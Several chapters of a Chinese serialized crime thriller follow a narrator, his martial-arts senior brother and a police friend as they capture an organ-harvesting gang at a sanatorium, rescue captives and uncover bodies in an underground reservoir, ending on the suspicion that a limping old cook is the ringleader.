当第一把土朝我淋下来的时候，我认命了，天要亡我，我只能顺服。 紧跟着一锹又一锹的土淋下来，我的身上、脸上都被盖住，呼吸逐渐急促，直到意识模糊。 不知过了多久，一丝新鲜的潮湿气息传来，胸腔不再压抑，身体也得以舒展，我尝试着睁开眼睛。 我死了吗？应该是没有，因为第一眼我就看到了天上大大的月亮。 我没死？我还没死？心里涌上的是劫后余生的兴奋，可是为什么？我不是被土埋了吗？ 之前为什么从没觉得月亮这么好看？ 我坐起身，看到一张熟悉的脸正关切的看着我，“师哥！”我喜极而泣。 “师哥，怎么是你？你是瞬移过来的吗？你怎么知道我被埋了的？”我开始语无伦次。 劫难过后第一眼看到自己最亲的人，那种喜悦是无法言说的。 “吕向荣，怎么我离开以后你一点长进都没有呢？你说你是不是自己找的危险？如果今天不是恰巧我在，你是不是早就去见师父了？”王敬之很生气的说我。 “师哥，我也是没有办法，他们绑了好几个人，摘取器官，现在还有两个队友没救出来呢！”我辩解。 “你一个人，怎么救这么多人？你没搞清楚状况就下来探路了？你说你是不是傻？”王敬之继续批评我。 “师哥，现在怎么办？我爸妈还在疗养院呢！电话打不出去，林翔要中午左右才能过来！”我着急的说。 “什么？叔叔阿姨也来了？怎么回事？”王敬之惊讶的问。 我把全部经过跟王敬之讲了一遍。 “师哥，这事儿是不是跟明叔有关？你什么时候回到S市的？你到底还打不打算回家了？总在贼窝里待着，你小心哪天自己也成了贼！”我极力规劝。 “现在无暇细说这些，里面那些人有危险，天亮后明叔就到这里了。”王敬之着急的说。 “什么？明叔过来？我们兄弟联手抓住他！这绝对是一个穷形极恶的人，我们一定要为民除害！”我愤恨的说。 “我早就想抓住他了，但是直到今天我都没见过真人，每次说是明叔，但实际都不是。一会儿要来的，我都不确定会不会是真的明叔。”王敬之挫败的说。 “什么？他这么狡猾的吗？师哥，我知道你为什么一直不回来了。冯晶晶怎么样了？安全了吗？”我问。 “晶晶已经被我偷移到了一个安全的地点，之所以没回来，就是为了将明叔绳之于法。我寄的包裹你收到了吧？”王敬之问我。 “当然，你那黄金小罗盘一现身，我就知道是你。”好久没这么跟王敬之一起聊天了，一直以来的阴霾一扫而光。 “师哥，我们哥俩再合作一次，按住明叔，怎么样？”我胸有成竹的问。 “按住倒是有可能，但是我们现在不知道谁是真正的明叔啊！”王敬之提出顾虑。 “那你在他的“团队”待了这么久，就没有一点发现吗？”我问。 “也不是一点发现没有，之前已经有三个假明叔被我识破，包括你在花园城那一次，那个也是假的。据说真的明叔很普通，外貌没有任何明显特征，但是只有他手里有客户信息和客户联系方式。客户只跟他联系，然后他负责指派任务，不只我，团伙里大部分人都没见过他。” 我感觉遇到了强敌，谁都没见过，那怎么抓人？ “师哥，手机借我用一下。”我想到一个点子。 王敬之把手机递给我，我拿过来一看，信号满格，也未管现在的时间，我直接打电话给了林翔。 电话响了很久才有人接，“老林，是我，向荣，我有很要紧的事跟你说！” “向荣，这才几点啊，有个棘手的案子刚开完分析会，我才眯一会儿。”林翔疲惫的声音传来。 “老林，我确实有很重要的事，你能不能把你们警方调查到的有关于明叔的特征跟我说说？” “向荣，你是怎么了？这怎么能随便说呢！我们有纪律！”林翔很无奈。 我平复了一下情绪，对，林翔还不了解现在的情况，我把这里发生的事情详详细细的给林翔讲了一遍。 “什么？活体摘取？你亲眼看见的？”林翔的疲惫感没有了。 “对！而且现在地下室还有几个人，有两个是我的队友，是熊猫血，恐怕会面临更残忍的伤害。我刚刚死里逃生，我师哥说天亮以后明叔会过来，我们准备把他抓住，但是苦于现在不知道真正的明叔有什么特征，所以想寻求你的帮助。”我急切的说。 “怎么发生了这么严重的事了吗？你怎么不早点给我打电话？”林翔责怪我。 “老林，不是我不想打，是整个疗养院都被屏蔽了向外呼求的信号，根本无法打电话。你一会儿得赶快过来！” “我现在在调查的这件棘手的案子就是跟人口失踪有关的，昨天发现一具尸体，缺少肾脏，失血过多，难道跟你说的疗养院有关系？”林翔说。 “完全有可能啊！这帮人太凶残了，拿人根本不当人啊！”我想到那个刽子手很木然的表情。 “怪不得总是寻不得明叔，总觉得他忽而出现、忽而又凭空消失，原来他是狡兔三窟啊！听你这么说，我也不能确定我们掌握的这个明叔是不是真正的明叔了。”林翔也犯难。 第二百一十五章 一个个击破 “老林，我见过三个明叔，你说一下你掌握的那个人的特征，如果不是三个人中的任何一个，就完全有可能是真的。”王敬之说。 “好，你先逐一说一下三个假明叔的特征。”林翔觉得办法可行。 王敬之很详细的讲了三个明叔的外貌特征，细致到走路的姿势，说话是否有口音。 “三个都不是，我们掌握的这个明叔的特征是许德生描述的，按照你说的，只有真明叔才对接客户的特征，我们掌握的这个有极大可能是真明叔。”林翔说。 “老林，我和师哥一会儿就潜进疗养院，等他来了，一定给他抓住！”我说。 “向荣，我劝你不要太轻敌，这个明叔据我所知，手里是有武器的。许德生说，他最大的特征就是右脚跛、左眼的位置有疤，显得一个眼睛大一个眼睛小。”林翔回。 王敬之听完若有所思的想了想，说：“难道是他？” 我一看王敬之对上号了，更加有信心，“老林，你们赶快来，我和师哥先打头阵。最关键的是，这里还有十几人等着安全转移，我和我师哥两个人的力量不够！” “好，我马上召集队伍，去你给我发的位置。”林翔说。 “老林，一会儿你可能就联系不上我们了，只要进到疗养院的楼，手机信号就全部消失，你不要等，直接过来就好。”我再次嘱咐。 “放心！最多三个小时，一定到！我们到了就直接去你父母的房间，你们可以到那里跟我们会和。”林翔说。 “好！” 结束了跟林翔的通话，忽然发现蹲在我旁边的王敬之不见了，奇怪，这么快就走了？ 我站起身四下寻找，发现王敬之在不远处蹲着，不知道在说着什么。 我赶紧走过去，原来地上坐着被五花大绑的红毛领队。 “你小子要识时务，警察马上就到，该说的尽快告诉我们，我们会在警察面前替你说好话。”王敬之说。 “大哥，我知道的我都说了，没有一点隐瞒啊！”红毛领队不嚣张了。 看着他满身满脸的泥污，肯定是被王敬之修理过了。 “疗养院地下只有你跟另外两个人吗？还有没有别人？”王敬之问。 “没有了，平时就是医生在这驻扎，我和老贼负责找人过来，明叔隔一段时间会来取一次货。天亮以后他要过来取昨晚做的货，再就没有别人了。这里是动手的地方，明叔说越少人知道越好，所以基本没谁知道这里。”红毛一字一句的回。 我看看王敬之，王敬之看看我，我们俩交换的意见是，如果只有两个人，我们俩就能搞定。 “都有什么武器？说！”我跟了一句。 “武器？哦，武器，有几把军刺，医生自己有手术刀，他的刀法特别好，他也不使别的。再就没有了，我们平时用不上武器，直接迷晕就带下来了。”红毛回。 听到他说最后一句，我气得给了他一个嘴巴，“伤天害理！那可是一条条活生生的人命啊！你怎么说的跟抓猪一样！” 红毛被打的很懵，但是一声不敢吭了，再没有了之前跟我的嚣张。 “你们一共害了多少人了？”我有些担忧的问。 “多少人？一共来过3、4次团吧，前两回都没有需要的血型，后来我们找了一个医院的外援，有针对性的发传单，下面那几个人都是最近这两回扣下的。就卖了一次大活，明叔还没给我们兑现呢！”红毛说。 我悬着的心稍微放了放，听说医院还有外援，心想这个事一定要告诉林翔，这个人如果不找出来，一定是一枚恐怖的炸弹。 “你见过明叔吗？”王敬之问。 “我没见过明叔，就听过他讲话，他跟我通过电话。”红毛如实回复。 “声音有什么特征？” “声音的特征？”红毛翻着眼睛想了半天，“他有点大舌头，这算不算特征？” 算上林翔说的，我和王敬之的脑袋里已经刻画出了明叔的特征，这些基本够用，就等着一会儿来人验明正身了。 我们把红毛转移到疗养院后院，给他又结实的绑了一圈，封住嘴巴，等着林翔来带走。 我俩的下一步计划是抓老贼，一个一个击破。 “师哥，地下的结构我并没有摸清楚，如果是在地下的话，我们的把握不是很大，最好能在上面拿下他。”我建议。 “那就是找个理由给他引上来。”王敬之秒懂。 我看了一眼远处绑着的红毛，有了主意。 撕开红毛嘴上的胶带，强力的拉扯，红毛龇牙咧嘴的嘶哈。 “别吵吵！给那个司机打电话，不管什么理由，让他自己出来！”我学着他目露凶光的样子狠狠的说。 红毛知道我是一个不好惹的犟种加刺头，而且现在身陷囹圄，只能服从我们的指令。 “好好好，我的手机在裤兜，拿出来以后按3号键，响两声就按掉，什么都不用说。”红毛赶紧执行。 “为什么是两声就上来？什么意思？”我存疑的问。 这帮人什么都能干出来，可不能再着了他们的道。 “我们的暗号是，响一声代表一切OK，任务结束。响两声代表自己搞不定，需要人手帮忙。响三声就是警报了，快跑。” “那为什么是3号键？”王敬之问。 “这里只有我们三个人，我是2号键，医生是1号键，老贼是3号键。” 明白了，我重新将红毛嘴巴上的胶带粘贴好，用眼神询问王敬之接下来怎么办。 “向荣，我躲在暗处，你对付司机，如果真的像他说的一样，就不会有其他人上来，如果不是，我再出现，确保我们可以有人外援。” “好！就这么办。”我跟王敬之商量好对策，掏出红毛裤子兜里的手机。 按了3号键，响了两声就挂掉。 在等待的过程里，我仔细的想了一下我从我的房间出来一直到现在的全部过程，总觉得哪里不对，好像有个细节被忽略了，但是具体是什么，却想不起来。 正冥想的时候，瞧见疗养院的大门里走出来一个人，随着他的逐渐走近，我看清了来人正是那个司机老贼。 我的身型相对于他有着绝对的优势，不仅身高比他高、身型也要比他壮实几倍，所以对于拿下他，我很有信心。 去山坡埋我的位置，必须要经过后院的一条小路，我就躲在暗处，等着他过来。 王敬之躲在稍远一些、能看到疗养院全貌的位置，他要盯住后面有没有人跟过来。 这时候天也快亮了，已经可以依稀看出东方的鱼肚白。 第二百一十六章 营救 “红毛你真的是越来越废物了，就干这么点儿事儿你都不行，还要我跟着上！”老贼边走边嘟囔。 等他经过我躲藏的附近，我瞅准时机，一下就跃出去把他扑倒在地，“哪儿跑你！” 老贼没有任何防备，直接就被我扑倒，慌乱中他看清是我，那双狠厉的眼睛里流露出凶光，“你还没死？红毛呢？” “别急，我现在就送你去见红毛。” 我的话音刚落，就被一把散土迷了眼睛，这家伙抓了一把土扬我。 趁我双手摸眼的当口，老贼挣脱了我的束缚，直接向山下跑去，我在后面紧追不放。 就在老贼马上要跑出山脚，奔向疗养院后院的时候，被迎面踹了一脚。 这一脚踹的结结实实，老贼“啊”的一声倒在地上，我也应声赶到，拿出早就准备好的绳子开始捆绑他。 他不停的挣扎，踹了他一脚的王敬之按住他的双腿，我俩合力给他捆了个结实，最后将嘴巴用胶带封好。 老贼比红毛“硬”多了，全程都在用瞪视的眼睛对我和王敬之行使杀意。 “你不用瞪我，没用！你害了那么多人，你就没想过会有今天吗？”我质问他。 “等着受法律制裁吧！”我啐了口吐沫！ “师哥，这俩不能弄一起，万一合力逃了就糟了！”我跟王敬之商量。 “对！把他弄对面去，然后再找根绳子，这个不服软，必须绑狠一点！”王敬之说。 制服了老贼，天已经亮了，我和王敬之准备去地下捉医生。 “向荣，现在到旅行团早餐时间还有两个小时，我们俩得尽快结束战斗。要不然，这些团友都醒了，肯定到处找人，一旦惊动医生，还真麻烦。”王敬之提醒我。 “师哥，你先等我几分钟，我去安排一下，把后方都安顿好。”我准备去找何亚楠。 “好，你尽快！” 我直接回了自己房间，按照跟何亚楠约定的敲门暗号敲门，没多一会儿，门就开了。 “大哥，你回来啦！太好了！”何亚楠看到我平安回来，很激动。 “我有事需要你帮助，现在还有一个坏人没有抓到，那两个队友还没救出来。”我急切的说。 “行，你说，需要我做什么？”何亚楠很勇敢。 我把制服红毛和司机老贼的事情跟她大概的讲了一下，“一会儿大家起床后，肯定会去吃早餐，或者找领队，你要想个办法截住这些人，绝对不能惊动下面的坏人。等我们把坏人制服，救出队友，一切才可以恢复正常。” 何亚楠听完，明白了我的意思，想了一会儿说：“这容易，我能办好，放心吧！” “警察应该两个小时后就能到，你只要坚持两个小时就可以。记住，绝对不能让任何人到地下餐厅去！”我又嘱咐了一遍。 “好的，大哥你放心，我听明白了！”何亚楠很笃定的应承我。 当我和王敬之再次潜入地下的时候，走的还是小黑门，进去之前我朝餐厅看了一眼，深处依稀可辩微弱的灯光，应该是开始做早餐了。 小黑门只是虚掩，看来老贼出来的时候就没有锁门。 我俩鱼贯而入，一切路程照旧，也没有任何异常，到了我被袭击的走廊那里，我又发蒙了，“糟了，记不住是哪一间通到外面了！” 王敬之看了看回我：“先不走捷径，去手术室看看，解救那些人要紧。” 我跟着王敬之一前一后的摸到了关着那些受害人的地方，手术室的灯亮着，令我感到安慰的是床上没有任何人。 这边关押那几个人的房间还是漆黑一片，我看不清那些人是不是还在。 “师哥，我开手机电筒试试？”我压低声音问王敬之。 王敬之点点头，我打开手机电筒，借着微弱的灯光，看到那几个人还畏缩在墙角。 其中有一个队友看到了我，刚要喊，我立刻做了一个嘘声的手势，关掉电筒。 悄悄走到几个人近前，很小声的说：“哥几个，我来就你们出去，切忌，轻声走，不要说话！” 几个人都惊恐的瞪大眼睛，他们一定是想着，这个人不久前被拉了出去，竟然没有死。 我解开几个人脚上的绳子，让他们跟着我，一个个往外走，王敬之垫后，一切进行的蛮顺利。 但是我还是充满疑虑，那个医生去哪了？他平时在哪里待着？这一条竟然没有问红毛！ 来到走廊，王敬之让大家停一下，过来跟我说：“向荣，你带他们走捷径，然后送到你房间。我四下找找医生。” “师哥，绝对不行！红毛说了，医生的刀很厉害，你一个人，又是这么黑的环境，我不放心！”我拒绝。 “别婆妈了，我会小心的，你搞完了下来找我。”王敬之说完没等我反应就原路返回。 没时间犹豫了，我拉着几个人跟我迅速的往外走，回忆了一下“捷径”的位置，应该是在走廊的中间那个房间。 按照记忆的摸索，进了一间房，门是虚掩的，我猜就是这间没错。 几个人里，除了两个队友，另外的人都很虚弱，不知道是关了多久、惊吓跟饥饿，严重影响了他们的速度。 我在墙壁上不断地摸索、敲打，开了！ “快！跟我走！”我招呼几个人从墙壁间的通道出去。 我站在旁边，看着他们一个个的走出去，最后一个也出去之后，我也跟了出去，将一切恢复原状，就快成功了！。 平安顺利的将几个人送到我的房间，何亚楠看到一下子救回来这么多人，十分崇拜的对我竖了竖大拇指。 “小何，你给他们检查一下，看看是不是还有什么问题，我还有事，还要下去一次。” “大哥，你放心，我之前是护士，我知道怎么做，你一定要小心！”何亚楠回。 当我再次来到小黑门旁边的时候，顿觉异常，门被锁上了！糟了！被发现了！ 师哥还在里面，怎么办？ 还有上面的人，如果这些人还有其他同伙，岂不是前功尽弃了？ 冷静、冷静！不能乱。 何亚楠不会轻易给任何人开门的，从我送几个人出来到现在，前后不过五分钟，师哥应该还在里面。 我急匆匆的回到捷径的出口，还好，这里还保持着我出来时候的样子，我重新进去，寻找墙上的开关。 第二百一十七章 作呕的手术室 从暗门进来很顺利，因为熟悉了路线，我很快就回到了手术室，就只有这里我没有进去仔细查看过。 来到手术室，这里的灯应该是常年开着，床边的垃圾桶里扔着带血的很多医用耗材。 转到摆放器械的位置，触目惊心的一幕我到现在都忘不了。 那些器械上都带血，各种形状的血点，还有手指胡乱擦拭涂抹的血迹，对着器械架子的手术床一侧的地上，有一个红色的大桶，里面的血和毛发、皮肤已经黏糊糊的糊在了一起。 胃里翻江倒海，第一次看到这么血腥的场面，虽然没吃东西，但是也干呕起来。 我捂住嘴巴，极力让自己安静下来，空气中弥漫的消毒水味依旧盖不过浓重的血腥味，二者混合在一起，那种味道说不出的难闻。 平静下来后，我看到展示柜那个方向有一处窄门，难道那里别有洞天？ 四下巡了一遍，我找了一个适手的扳子当做武器，悄悄的接近窄门。 门没有上锁，轻轻推了一下就开了，外面并不是什么休息室或者房间，而是另一处通道。 通道的墙壁上有防爆灯，光线不强，但足够照亮全貌。 我顺着通道往前走，心想“师哥，你是不是也来了这边？怎么不给我留点记号！” 自从经历了活埋，我开始担心王敬之的安全，这帮人十恶不赦，什么都能干出来，我很担心王敬之被拿下。 通道的尽头向左向右都有路，该走哪一边呢？ 我强迫自己冷静下来，每当我面临危机、要做选择的时候，我都会让自己安静下来，心里反应出的第一个感应就是答案。 我转向左边。 左边的路越行越窄，就在我怀疑自己选错了方向，想要返回、去右边的时候，前面有了明亮的光。 出来一看，啊，怎么是餐厅？这是通往餐厅的路。 可是没看到师哥啊，师哥哪去了？ 我在餐厅到处寻找，最后翻进了后厨，后厨的摆设跟其他后厨没什么区别，确实就是做饭的地方，来到冷库附近，赫然看到地上躺着一个人。 我急坏了，很担心是王敬之，千万不要是王敬之，千万不要！ 走到近前发现地上躺着的是昏迷不醒的医生，发生了什么？ 不能犹豫了，我拿出早就准备好的绳子，将医生捆绑起来，整个过程他都没有醒，身上有很浓重的药味，难道他是被迷晕了、还没来得及绑？ 绑好以后封上嘴，我又搜了他的衣服兜，将他带着的手术刀都拿了出来。 这个家伙刀法了得，武器是绝对不能让他沾的。 这一顿操作下来，这个家伙的眼睛微睁开来，我静静的瞅着他，有多少人丧生在他的手里。 尤其是在我之前被他麻了的小个子，要被取心脏的，到现在我都没看到那个人，不知道是不是已经被扔进了炉子。 他也恢复了神志，眼神很不屑的看着我，好像在告诉我，怎么样都无所谓，他不会屈服。 “你不服是吧？亏得你还是个医生，救死扶伤的职业竟然被你用来杀人夺命！你一定会遭报应的！”我恨恨的说。 “起来，跟我走！”我踢了他一脚，准备给他带出去，忽然想到要问问他王敬之去了哪，说不定他使了诈。 我撕开他嘴巴上的胶带，瞪着他问：“迷晕你的人呢？” 医生很不屑，歪头看向别处，娘的，他竟然跟我玩死猪不怕开水烫。 怎么办？我又不会用刑。 踹了他好几脚都不见他回答，正一筹莫展的时候，突然“当啷”一声，什么东西掉到地上的声音，还有人在！ 我警觉的看向声音传来的方向，有一个头发乱蓬蓬还很长的人蹲在地上，正害怕的看着我。 “谁在那儿？”我喊。 “别、别杀我，我就是个做饭的。”一个老人的声音，哆哆嗦嗦的。 我看了一眼医生，他的眼神很怪异，气的我又粘上了他的嘴。 “过来吧，我不是坏人，我带你回去！”我朝着老头喊。 老头犹豫了一下，站起身颤颤巍巍的往这边走。 我仔细回想了一下，确实，几次下来，尤其是吃饭那一次，后厨都是有灯光的，确实是应该有做饭的人。 老头走到我身边之后，我仔细打量他，个子不高，满脸褶子，眼睛部位的头发尤其长，甚至挡住了一只眼睛，衣服也脏兮兮的，看不出什么款式。 “你认识他吗？”我警觉的问老头。 “别、你别误会，我不是跟他们一伙的，我就是这里看门的，平时给他们做做饭，做晚饭就回去了，我家就住附近。”老头慌张的说，看来是吓坏了。 我回头看医生，想从他的眼神里确认信息，医生的表情依旧是不屑，但是明显不愿意面对老头。 不管了，我还要找王敬之，把他们都交给警察去查吧。 “跟我走吧，警察已经在外面了。”我跟老头说，然后踹了医生一脚，“起来！跟我走！” 医生很不情愿的站起来，我推搡着他往食堂外面走，老头跟在我旁边，走到一楼大厅的时候，正巧遇上赶来的林翔。 “老林，你们来了！”我激动的说。 “向荣，怎么样了？”林翔很着急。 “这个，就是负责活体摘取的医生，交给你了。后院的山脚下还有两个，一个是司机、另一个红毛的是领队。”我一个个汇报。 林翔指挥手下去后面带人。 “这个人是后厨做饭的老头，说是住在附近的，没参与这帮人的团伙，具体还得你们调查。”我一边说一边看看老头。 老头没什么表情，看不清的脸，整个身体瘦小的抽吧在一起。 林翔看了看老头，示意旁边的人带他去车上，然后问我：“旅行团其他人怎么样了？还有你说的那五六个被绑住的人。”林翔担心有人被害。 “放心，那几个人都被我救出来了，其他的人也都没离开过房间，你们可以带他们回去了。” 林翔听完我的汇报，很开心的捶了一下我的肩膀，“向荣，我就知道你行！” “老林，咱们还不能高兴，明叔还没来，而且我师哥不知道哪去了。”我担忧的说。 林翔的表情沉重起来，顿了顿说：“先把这些群众转移走，快！” 我配合来的警察一起，逐个敲开各个房间的门，出来的人竟然都已经准备好了离开。 这一定是何亚楠的功劳，而且大家都很有秩序的沉默，跟着警察的指引上了外面来的车。 爸妈看到我安然无恙放了心，我妈眼睛红红的，一定是哭过。 “妈，别担心，我没事，警察来了，坏人已经被控制住，你和爸先跟警察回去，我还要在这里等师哥。”我安慰我妈。 “怎么？敬之也来了？”我爸担忧的问。 第二百一十八章 王敬之命垂一线 我爸早就把王敬之当成了自己儿子，一听说他也在，担心的不行。 “爸，师哥没事，我俩都在，就什么事都没有，我们的本事你还不放心吗？倒是你们，你们在这里是我俩最担心的，赶快跟警察回去，我们稍晚一点也回去。”我劝我爸。 “儿子，你一定要把敬之安全的带回来。”我爸嘱咐我。 我看看不远处的何亚楠，喊她过来说：“小何，麻烦你在路上照顾我爸妈，拜托了！” “大哥，你放心，我会护送大爷大娘安全到家的。”何亚楠很感激我的救命之恩。 林翔安排一名警察带着旅行团的人坐一辆车护送这些人先回去，剩下的人可以安心等着抓捕明叔。 小何把我爸妈安排到前排的位置，她坐在同一排的旁边，这回好了，可以安心的抓明叔、找王敬之。 车启动马上要开走的时候，那个后厨老头也上了车，他的速度很慢，车上的人等了他半天。 目送他们离开以后，我问林翔：“老林，接下来怎么办？” “我去会会医生和红毛，再问问关于明叔的信息。”林翔回。 “老林，你去吧，他们在一楼的101，我得尽快去地下找我师哥。已经过去半个多小时了，我很担心他。” “你一个人可以吗？”林翔担心的问我。 “没事，我已经走了好几趟了，按照他们的交代，下面应该是没有团伙里的人了。你可以安排人下去勘察一下现场，那个手术室里有很多......唉！不堪入目。医生说过炉子，被摘取器官后的人会送去烧掉，这个还没找到在哪。”我提醒林翔。 “好，那我们分头行动，我派两个人也下去勘察现场。” 我带着两名警察来到负一层，大部分的地方我都走过，唯独刚才选择转弯的时候，我走了左边，还有右边没有去。 我先带着警察到了手术室，他们忙的时候，我返回到那个岔口，朝右边的拐角走去。 右边的路越走越潮湿，视野越来越宽，好像前边有个蓄水池，能听到哗哗的水声。 等到尽头之后，眼前赫然出现了一个硕大的蓄水池，水池边缘有一个大管子正在往外出水，水量很大，眼看就要把水池装满。 四周什么都没有，墙上依旧是昏暗的防爆灯。 师哥，你到底在哪里？我心急如焚的想，走到水池边缘，除了水里，没有其它地方没看过了。 走近看时，发现水池的水很脏，隐隐散发着馊臭味，漆黑一片，根本看不到底，这是废水？ 如果王敬之在这里，那岂不是凶多吉少？ 我着急了，快速的顺着水池走一圈，有发现！ 一处边缘的位置，有一根嵌入多半的钢钉，上面拴着一根铁丝，铁丝的另一头浸入水里，看不到是不是有东西。 我赶紧跑过去蹲下，用手在水里的铁丝部分试探，铁丝很长，水里也有很长一截。 不行！必须下去看看，这样摸根本发现不了什么，如果真的是在水里，这么久了，人就没了。 顾不得脏水馊臭了，直接跳进水里，沿着铁丝开始摸，水里黑，什么也看不见。 摸了有一会儿，触摸到很大的一个东西，果然铁丝的另一端绑着东西。 我将整个身体潜入的更深，尝试着抱住物体往水面上探，果然是个人，摸到了腿和胳膊。 我焦虑到不行，铁丝吊着，没办法将人带出去，必须把铁丝从钢钉上摘下来才行。 我又跃出水面，奋力从钢钉上往下卸铁丝，好在没有系死扣子，提一些水下的部分，把圈口放大，就可以摘下来。 因为知道了下面是人，提下面部分的时候，我特别小心，如果另一头是拴在脖子上，那这个劲绝对不能用蛮的。 功夫不负有心人，我成功了。 等我把水下的人托出水面、放到蓄水池边的时候，我惊呆了，真的是王敬之。 不知道在水下憋了多久，王敬之的脸苍白无血色，脉搏微弱，“师哥！师哥啊！我来晚了，对不起！对不起！” 我着急的开始人工呼吸，用上学过的溺水人救援的方式，费了好大的劲，半天都没有任何动静，我的眼泪夺眶而出。 眼前闪过小时候那次玩水，溺死的小胜子，还有他被救援的铁钩子勾上来后，尸体上不流血的大窟窿。 “师哥，求你了，不要离开向荣！”我一边喊一边继续实施救援。 虽然悲痛不可抑制，但是我的脑袋并没有乱，我只有一个执念，那就是一定要救回王敬之，我爸说了，让我把他平安带回家。 “噗”的一声，王敬之吐出很大一口水，接着是咳嗽，再吐水。 “师哥、师哥！你醒了吗？醒了吗？”我把王敬之的上半身扶起来，靠在我怀里，用手给他拍后背。 王敬之缓缓睁开眼睛，嘴唇微微蠕动，像是在说话，但是根本听不到在说什么。 “走，我带你出去，别担心，我一定治好你！”我抱起王敬之就往外走。 因为事情紧急，我走了那条捷径，出来的时候，刚巧遇上在后院勘察的林翔。 “老林，老林，快救我师哥！” 我轻轻的放下王敬之，让他平躺在地上，阳光下的王敬之，苍白的脸色恢复了不少，脉搏也逐渐稳定。 林翔赶紧跑过来，着急的看着地上的王敬之，“他怎么弄成这样的？” “我在一个大水池里发现了他，不知道被淹了多久，发现的时候已经快不行了。队伍里有医生吗？”我急切的询问。 这时候已经跑过来一个穿白褂的警察，开始给王敬之做各项检查，还打了一针。 好了，师哥安全了，有医生在，应该不会有事。 “别担心，他不会有事的。”林翔拍拍我的肩膀。 “向荣，我刚才审问了红毛和医生，确实没什么有用的线索，他们只是交代了这里的一些事情，跟你说的差不多，至于明叔团队内部的一些事，他们根本不知道。平时基本都是货弄好了，放在疗养院进车的那个位置，明叔派人来取。”林翔说。 “昨天的货还没取呢！明叔到底什么时间来？”我追问。 “他们说他们也不知道，就把货放到指定地点就可以。我们已经照做了，但是还没有动静。”林翔有点失望。 第二百一十九章 蓄水池底的山状尸骨 “老林，这个明叔可太可恶了，再不抓住他，一定还有更多的人被害。” 这时候跟我一起下去的两个警察也过来了，跟林翔大致汇报了下面的勘验情况。 说到手术室部分的时候，林翔气的咬牙切齿，“简直无法无天了！拿人当猪崽。” “向荣、向荣。”是王敬之在喊我。 我蹲下身扶起王敬之，让他半卧着，“师哥，你觉得好点了吗？” “我没事，那个蓄水池底下还有人，快去！”王敬之很虚弱，但是我和林翔都听懂了！ 我俩不可置信的对视一眼，心急如焚，这么久了，不用想也知道肯定是凶多吉少。 等我跟着林翔等一行几人重新来到蓄水池这里的时候，水管还在放水，但是却漫不过水池边，下面应该是有出水的口子。 “快！找停掉水的闸门！”林翔指示。 我们几个人开始找起来，我转了几处，发现这里跟外面的温泉有关系，会不会开关在外面呢？ 我把猜想告诉林翔，林翔命令其中一个警察到上面去看看，我们继续留在下面寻找水闸开关。 没多一会儿，我就看到水管子的进水小了，后来直接停住，看来开关果然在上面。 “老林，这些水不放掉，我们很难看到下面的全貌。” “我也是这么想的，水池底一定有出水的口子，得去下面找找。”林翔回。 “我去吧！不过下面很黑，根本看不清，需要一点点摸索，很浪费时间。”我说。 “我们跟你一起去！”另外两名警察也脱了外套，准备跟我一起下水。 “事不宜迟，走吧！”我第一个跳下去。 水里很黑，我直起身，脚还碰不到底，这个水池至少有两米深。 平时我们用浴缸或者蓄水的容器，都喜欢在中间设计下水口，很少的几率是在容器边缘，打定主意，我准备先去中间看看。 另外两名警察也跟在我的旁边，我在水下用手势跟他们示意去中间看看。 我想了一下跳下水的位置，应该距离中心并不算远，这时一名警察点开一个水下照明装置，虽照不了太远，但是近距离可以看清。 前面好像有一处凸起，是什么呢？这个凸起的鼓包不算矮，一眼可以看到。 我们三个人游过去，到了近前衬着灯光，我差不点喊出来，那竟然都是人的尸骨！ 另外两个警察也吃惊不小，事情很严重。 开关很有可能在尸骨下面，挪吧！ 我们三个开始挪动那些尸骨，每次碰到和看到，我的心里都揪着疼，这可都是生命！ 这时身边的一个警察给我比划手势，我顺着指引看去，是一个水堵装置，没错了。 奋力拔出水堵后，水池里的水下落的速度快了起来，我们三个也往池边游去。 上岸后第一句话我就告诉老林下面有个“山丘”，当老林知道是尸骨的时候，面色凝重，“小张，你给局里打电话，再派些人过来，要快！” 放水足足持续了十多分钟，下面的全貌我们看到了，除了挪动的尸骨，还有一个完整的人头朝下趴在下面。 大家把他救上来以后，我发现这就是被摘取了心脏的那个小个子。 不用想，人肯定没了。 “老林，他就是被摘取了心脏的那个人。”我很难过。 “走吧，我们上去吧，问问敬之还有什么发现。其余的人在这处理现场。”林翔说。 王敬之已经基本恢复，在疗养院101休息，看到我和林翔进来，急切的问：“找到了吗？” 我点点头，“找到了，但是人早就没了。他就是在我被抓出去活埋的时候被摘了心脏的那一个。” 王敬之很失望，也很气愤，我知道他如我一样，见不得草菅人命。 “敬之，你和我们说说你是怎么被袭击的？被谁袭击的？按说那个时间能袭击你的只能是医生，可是为什么向荣去的时候看到医生被迷晕在地呢？”林翔疑惑的问。 “我没见到医生，袭击我的人我不确定是不是他。我是从那间带通道的房间进来的，到了救那些人的隔间，听见手术室有动静，我以为医生还在，可是等我摸过去的时候却没有人，只有个人影从旁边的小门闪出去，我也跟了过去，那个人走路好像有问题，很拖沓，追到一处带左右两边的走廊的时候，我正回想人影闪到哪边了，后脑勺就被砸了一下。再醒来的时候，我被铁丝吊着，垂在水池里，那里面有很多腐败的尸体，还有露着骨头的，还有一个完整的人趴在那，不知道是死是活。后来就开始放水，再后来就什么都不知道了。” “师哥，你为什么不呼救？你知道我就在附近。”我问。 “我喊了啊，可是没用，除了回声很响。”王敬之回。 “敬之，你再回忆一下整个过程，有没有什么关于袭击你那个人的特征是被你忽略的？包括绑你的时候，在水池里的时候。”林翔又问。 王敬之回忆了一会儿说：“被绑的时候，我是醒了的，但是我看不到我背面的环境，那个人在我头顶上走过，他应该是个跛子。” “跛的？你确定？”林翔问。 “我确定，这些年学习中医望闻问切，对于人走路的双脚着力我很清楚。” “师哥，这么说后厨被迷晕的医生不是你干的？”我问。 “不是我，我根本就没见到人，也没去过后厨。” “这就奇怪了，那个时候红毛和老贼都被绑着，还能有人袭击我师哥、迷晕医生，是不是说明还有第四个人啊？”我问。 林翔说：“完全有可能。他袭击敬之的话，说明他不是被害的一方，但是他为什么要袭击医生呢？难不成还有第五个人？” “袭击医生会不会是因为要杀人灭口？不想自己团伙的事情败露？”王敬之回。 “糟了！老林，那个后厨的老头有问题！如果他也是同伙，车里的人现在很危险！”我喊道。 王敬之和林翔都惊讶的看着我，林翔着急的问：“为什么？发生了什么？” “我当时是在后厨发现的医生，老头也是在后厨发现的，而且当时医生醒后，看到老头的眼神很怪异，是一种惧怕。最关键的，那个老头就是跛的！”我着急的回。 第二百二十章 劫持 林翔看了看手表，“车已经开出去一个小时，我给他们打电话。” “还有啊，老林，你说有没有可能，这个老头就是明叔？”我问。 “你这个猜测有根据吗？”王敬之问我。 